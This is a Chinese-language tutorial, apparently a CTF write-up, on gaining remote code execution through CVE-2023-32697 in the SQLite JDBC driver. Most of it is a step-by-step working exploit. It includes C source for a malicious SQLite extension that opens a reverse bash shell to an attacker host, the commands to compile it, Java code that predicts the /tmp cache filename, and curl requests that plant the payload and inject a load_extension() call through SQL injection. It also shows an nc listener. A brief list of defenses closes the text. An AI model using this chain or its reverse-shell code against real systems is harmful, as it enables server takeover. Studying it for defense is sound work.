从一道题看利用sqlite打jdbc达到RCE
字数 1177 2025-08-22 18:37:22
SQLite JDBC RCE漏洞利用教学文档
漏洞概述
本教学文档详细讲解如何利用SQLite JDBC驱动中的漏洞(CVE-2023-32697)实现远程代码执行(RCE)。该漏洞源于SQLite数据库文件的缓存文件在tmp目录下文件名可预测,结合SQL注入漏洞,可通过load_extension()函数加载恶意.so文件实现代码执行。
漏洞原理
-
SQLite JDBC缓存机制:当通过JDBC连接远程SQLite数据库时,SQLite JDBC驱动会在/tmp目录下创建临时缓存文件,文件名格式为
/tmp/sqlite-jdbc-tmp-[hash].db,其中hash可通过URL的hashCode()计算得出。 -
load_extension函数:SQLite提供了load_extension()函数用于加载外部扩展库,当结合SQL注入漏洞时,可被利用来加载恶意.so文件。
-
漏洞利用链:
- 预测缓存文件名
- 通过SQL注入执行load_extension()
- 加载恶意.so文件实现RCE
环境准备
攻击者环境
- 一台VPS服务器(用于托管恶意.so文件和SQLite数据库文件)
- 编译环境(gcc)
- 监听工具(nc等)
目标环境
- 使用SQLite JDBC驱动的Java应用
- 存在SQL注入漏洞
- 允许加载外部扩展
漏洞利用步骤
第一步:生成恶意.so文件
- 编写恶意C代码(poc.c):
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sqlite3ext.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1
/* 配置TCP连接参数 */
int tcp_port = 5555;
char *ip = "攻击者IP";
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_extension_init(sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi) {
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
int fd;
if ((fork()) <= 0) {
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0);
if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
exit(0);
}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", NULL, NULL);
}
return rc;
}
- 编译为.so文件:
gcc -g -fPIC -shared poc.c -o poc.so
第二步:预测缓存文件名
- 使用Java代码预测缓存文件名:
package org.example;
import java.net.MalformedURLException;
import java.net.URL;
public class filename {
public static void main(String[] args) throws MalformedURLException {
String so = "http://vpsip:port/poc.so";
String url = so;
String filename = "/tmp/sqlite-jdbc-tmp-" + new URL(url).hashCode() + ".db";
System.out.printf(filename);
}
}
第三步:上传恶意缓存文件
- 通过JDBC连接强制创建缓存文件:
curl --header "Content-Type: application/json" --request POST \
--data "{ \"type\": 3, \"url\": \"jdbc:sqlite::resource:http://vpsip:port/poc.so\", \"tableName\": \"security\" }" \
http://target:port/jdbc/connect
此时会在目标服务器的/tmp目录下创建缓存文件,如/tmp/sqlite-jdbc-tmp-840682179.db
第四步:准备正常SQLite数据库文件
- 创建一个包含user表的正常SQLite数据库文件(111.db)
- 上传到VPS服务器
第五步:执行SQL注入加载恶意扩展
- 通过SQL注入执行load_extension():
curl --header "Content-Type: application/json" --request POST \
--data "{ \"type\": 3, \"url\": \"jdbc:sqlite::resource:http://vpsip:port/111.db\", \"tableName\": \"user union select 1,load_extension('/tmp/sqlite-jdbc-tmp-39093542.db');-- \" }" \
http://target:port/jdbc/connect
第六步:获取反弹shell
- 在攻击者服务器上监听指定端口:
nc -lvnp 5555
- 当恶意.so文件被加载后,将获得目标服务器的shell访问权限
防御措施
-
禁用load_extension:在SQLite连接字符串中添加
enable_load_extension=false参数 -
输入验证:对所有用户输入进行严格的验证和过滤,防止SQL注入
-
文件权限:限制/tmp目录的写入权限
-
更新驱动:使用最新版本的SQLite JDBC驱动
-
安全配置:在Java安全策略中限制不受信任的代码加载
总结
本漏洞利用SQLite JDBC驱动的缓存机制和SQL注入漏洞,通过预测缓存文件名并加载恶意扩展实现RCE。防御关键在于禁用不必要的功能、严格输入验证和保持组件更新。